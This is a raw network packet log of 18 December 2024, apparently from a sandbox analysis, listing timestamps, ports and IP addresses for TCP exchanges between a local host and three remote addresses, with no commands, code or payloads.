Dec 18, 2024 12:00:29.788580894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.788624048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.788665056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.789273024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.789325953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.790644884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.790662050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.790678024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.790750027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.790764093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.790790081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.815331936 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:29.815433979 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:29.815609932 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:29.815867901 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:29.815886021 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:29.845772982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:29.845973015 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:29.846039057 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:29.846115112 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:29.848433971 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:29.942255974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.942323923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.942382097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.942523956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.942632914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.942734003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.942764997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.942868948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.943399906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.943445921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.943559885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.943597078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.944118977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.944159031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.944231987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.944268942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.944967031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.945007086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.945077896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.945115089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.945650101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.945692062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.945738077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.945770979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.946414948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.946481943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.946507931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.946544886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.947173119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.947216988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.947298050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.947329044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.948005915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.948049068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.948071003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.948204994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.948707104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.948746920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.948854923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.948894024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.949445963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.949489117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.949517965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.949556112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.950184107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.950228930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.950306892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.950519085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.950988054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.951001883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.951030970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.951042891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.951744080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.951817989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.951927900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.951965094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.952454090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.952491999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.952656984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.952719927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.953231096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.953269005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.953320980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.953418016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.953948975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.954058886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.954086065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.954122066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.954724073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.954770088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.954818010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.954890966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.955501080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.955550909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.955619097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.955656052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.956226110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.956275940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.956347942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.956413031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.957021952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.957067013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.957153082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.957442999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.957752943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.957859993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.957895994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.958569050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.958615065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.958666086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.958739996 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.959269047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.959327936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.959357977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.959505081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.960082054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.960134029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.960172892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.960211992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.960887909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.960942030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.960999012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.961085081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.961524010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.961576939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.961635113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.961756945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.962287903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.962337971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.962404966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.962507010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.963054895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.963109970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.963203907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.963253021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.963803053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.963850975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.963881016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.963915110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.964576960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.964621067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.964685917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.964734077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.965292931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.965334892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.965353012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.965387106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.966057062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.966109991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.966155052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.966214895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.966820955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.966876984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.966891050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.966928959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.967580080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.967628002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.967766047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.967839003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.967963934 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:29.968360901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.968410969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.968441010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.968480110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.969201088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.969245911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.969367027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.969409943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.970062017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.970112085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.970164061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.970211029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.970897913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.970951080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.970989943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.971189976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.971463919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.971476078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.971517086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.972214937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.972275019 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.972290993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.972327948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.972928047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.972966909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.972985029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.973016024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.973614931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.973664999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.973742962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.973793983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.974564075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.974612951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.974626064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.974791050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.975219965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.975270033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.975322008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.975440979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.975871086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.975914955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.976041079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.976186991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.976660013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.976711035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.976738930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.976752043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.977431059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.977473021 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.977618933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.977685928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.978277922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.978324890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.978406906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.978450060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.978909969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.978956938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.979011059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.979053974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.979743958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.979899883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.979914904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.979949951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.980556011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.980659962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.980700970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.981756926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.981800079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.981892109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.981945992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:29.982250929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:29.982305050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.105670929 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:30.105710030 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:30.105813026 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:30.106127977 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:30.106141090 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:30.133714914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.133786917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.133874893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.133886099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.133923054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.134035110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.134097099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.134754896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.134768009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.134819031 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.135579109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.135591030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.135631084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.135648966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.136256933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.136313915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.136423111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.136471987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.137078047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.137090921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.137128115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.137149096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.137713909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.137768030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.137856960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.137912989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.138572931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.138585091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.138631105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.138638973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.139241934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.139285088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.139431953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.139477968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.140029907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.140042067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.140397072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.140649080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.140705109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.140892029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.140944958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.141633987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.141654968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.141685009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.141697884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.142227888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.142278910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.142395020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.142482042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.143085003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.143239975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.143265963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.143309116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.143806934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.143819094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.143860102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.144516945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.144561052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.144685984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.144735098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.145395041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.145406961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.145446062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.146085024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.146137953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.146271944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.146310091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.146800995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.146853924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.146979094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.147027016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.147583008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.147634983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.147736073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.147770882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.148421049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.148438931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.148473024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.148503065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.149099112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.149254084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.149302959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.149959087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.150010109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.150110006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.150230885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.150744915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.150794029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.150916100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.150963068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.151362896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.151437998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.151529074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.151568890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.152364969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.152384043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.152410984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.152425051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.152993917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.153031111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:30.153167009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:30.153217077 CET	49913	80	192.168.2.6	185.215.113.17
